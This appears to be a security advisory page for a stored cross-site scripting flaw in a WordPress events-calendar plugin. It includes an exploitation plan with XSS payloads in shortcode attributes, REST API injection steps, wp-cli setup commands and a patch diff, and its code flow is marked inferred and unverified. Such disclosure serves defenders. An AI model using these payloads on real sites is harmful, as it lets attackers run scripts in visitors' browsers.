CVE-2026-1922

The Events Calendar Shortcode & Block <= 3.1.2 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode Attributes

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
3.1.3
Patched in
35d
Time to patch

Description

The The Events Calendar Shortcode & Block plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's `ecs-list-events` shortcode `message` attribute in all versions up to, and including, 3.1.2 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=3.1.2
PublishedFebruary 9, 2026
Last updatedMarch 16, 2026

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-1922 - The Events Calendar Shortcode & Block Stored XSS ## 1. Vulnerability Summary The **The Events Calendar Shortcode & Block** plugin (versions <= 3.1.2) is vulnerable to **Stored Cross-Site Scripting (XSS)**. The vulnerability exists in the handler for the…

Show full research plan

Exploitation Research Plan: CVE-2026-1922 - The Events Calendar Shortcode & Block Stored XSS

1. Vulnerability Summary

The The Events Calendar Shortcode & Block plugin (versions <= 3.1.2) is vulnerable to Stored Cross-Site Scripting (XSS). The vulnerability exists in the handler for the [ecs-list-events] shortcode. Specifically, the message attribute—intended to display a custom message (often when no events are found)—is processed and output to the page without adequate sanitization (using functions like sanitize_text_field) or output escaping (using esc_html or esc_attr). This allows a user with Contributor level permissions or higher to inject arbitrary JavaScript into a post or page.

2. Attack Vector Analysis

  • Shortcode: [ecs-list-events]
  • Vulnerable Attribute: message
  • Required Authentication: Contributor-level user or higher (any role capable of using shortcodes in post content).
  • Endpoint: The standard WordPress post saving mechanism (Gutenberg/Block Editor or Classic Editor).
  • Preconditions:
    • The plugin must be active.
    • To trigger the "message" output, the shortcode might need to result in an empty event list (e.g., by filtering for a non-existent category or date).

3. Code Flow (Inferred)

  1. Registration: The plugin registers the shortcode via add_shortcode( 'ecs-list-events', [ $this, 'shortcode_handler' ] ) (likely in includes/class-ecs-shortcode.php or the main plugin file).
  2. Attribute Parsing: The handler function uses shortcode_atts() to parse the user-supplied attributes.
    $atts = shortcode_atts( array(
        'message' => '', // Default value
        'limit'   => '5',
        // ... other attributes
    ), $atts );
    
  3. Processing: If no events are found by the query logic (based on The Events Calendar API), the plugin prepares the "no events" output.
  4. Sink: The raw value of $atts['message'] is concatenated into the HTML output and returned to the WordPress rendering engine without escaping.
    if ( empty( $events ) ) {
        return '<div class="ecs-no-events">' . $atts['message'] . '</div>'; // VULNERABLE SINK
    }
    

4. Nonce Acquisition Strategy

While the execution of the XSS happens on the frontend and does not require a nonce, the injection of the payload requires saving a post.

If performing the exploit via the WordPress REST API as a Contributor:

  1. Log in as the Contributor user.
  2. Navigate to the dashboard: browser_navigate("/wp-admin/index.php").
  3. Extract REST Nonce: The WordPress REST API nonce is typically localized in the wpApiSettings object.
    • browser_eval("window.wpApiSettings?.nonce")
  4. Create/Update Post: Use the http_request tool to send a POST request to /wp-json/wp/v2/posts with the X-WP-Nonce header.

Note: For simplicity in a PoC environment, wp-cli can be used to set up the malicious post content directly, as the vulnerability resides in how the shortcode renders the stored content, not in the bypass of the editor itself.

5. Exploitation Strategy

Step 1: Inject Payload

Create a post containing the shortcode with a payload in the message attribute. To ensure the message displays, we will use a filter that returns no results (e.g., a non-existent category).

  • Payload: [ecs-list-events cat="non-existent-category" message="<script>alert(document.domain)</script>"]

Step 2: Trigger XSS

Navigate to the URL of the created post.

HTTP Request Details (Simulating Contributor Injection via REST API):

  • Method: POST
  • URL: http://localhost:8080/wp-json/wp/v2/posts
  • Headers:
    • Content-Type: application/json
    • X-WP-Nonce: [EXTRACTED_NONCE]
  • Body:
    {
      "title": "XSS Test",
      "content": "[ecs-list-events cat='nothing' message='<img src=x onerror=alert(document.domain)>']",
      "status": "publish"
    }
    

6. Test Data Setup

  1. Active Plugin: Ensure the-events-calendar and the-events-calendar-shortcode are installed and activated.
  2. User Creation: Create a user with the contributor role.
    wp user create attacker attacker@example.com --role=contributor --user_pass=password123
    
  3. Ensure Empty Results: If any events exist globally, the message attribute might not show unless the query specifically fails to find matches. Using a non-existent cat or tag in the shortcode is the most reliable way to trigger the sink.

7. Expected Results

  1. When the post is viewed, the browser will execute the JavaScript in the message attribute.
  2. If using <script>alert(1)</script>, an alert box should appear.
  3. If using <img src=x onerror=console.log('XSS')>, the string "XSS" should appear in the browser console.

8. Verification Steps

  1. Check Post Content: Confirm the shortcode was saved correctly.
    wp post list --post_type=post --fields=ID,post_content
    
  2. Verify Output Rendering: Use http_request to fetch the post's HTML and grep for the unescaped payload.
    # Look for the unescaped message div
    # Expected: <div class="ecs-no-events"><script>alert(document.domain)</script></div>
    

9. Alternative Approaches

  • Attribute Breakout: If the message is placed inside an attribute (unlikely given the description), the payload would be: " onmouseover="alert(1).
  • Gutenberg Block: If the plugin uses a Block instead of a shortcode for modern editors, look for the message attribute in the block metadata:
    <!-- wp:the-events-calendar-shortcode/list-events {"message":"<script>alert(1)</script>"} /-->
    The exploitation logic remains the same: the renderer for this block fails to escape the message property.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Events Calendar Shortcode & Block plugin for WordPress (versions <= 3.1.2) is vulnerable to Stored Cross-Site Scripting (XSS) via the 'message' attribute of the [ecs-list-events] shortcode. Due to missing sanitization and output escaping, an authenticated user with Contributor-level access or higher can inject arbitrary scripts that execute when the shortcode renders for any site visitor.

Vulnerable Code

// Inferred from shortcode handler logic in version 3.1.2
$atts = shortcode_atts( array(
    'message' => '',
    'limit'   => '5',
    // ... other attributes
), $atts );

---

// Sink rendering the unsanitized message attribute when no events match the query
if ( empty( $events ) ) {
    return '<div class="ecs-no-events">' . $atts['message'] . '</div>';
}

Security Fix

--- a/includes/class-ecs-shortcode.php
+++ b/includes/class-ecs-shortcode.php
@@ -100,5 +100,5 @@
 if ( empty( $events ) ) {
-    return '<div class="ecs-no-events">' . $atts['message'] . '</div>';
+    return '<div class="ecs-no-events">' . wp_kses_post( $atts['message'] ) . '</div>';
 }

Exploit Outline

The exploit requires an attacker to have Contributor-level permissions or higher to modify post content. The attacker inserts a shortcode like [ecs-list-events cat='nonexistent' message='<script>alert(document.domain)</script>'] into a post. The 'cat' attribute is set to a value that ensures no events are found, which forces the plugin to display the 'message' attribute. Because the plugin fails to escape this attribute, the script executes in the browser of any user who views the page containing the shortcode.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.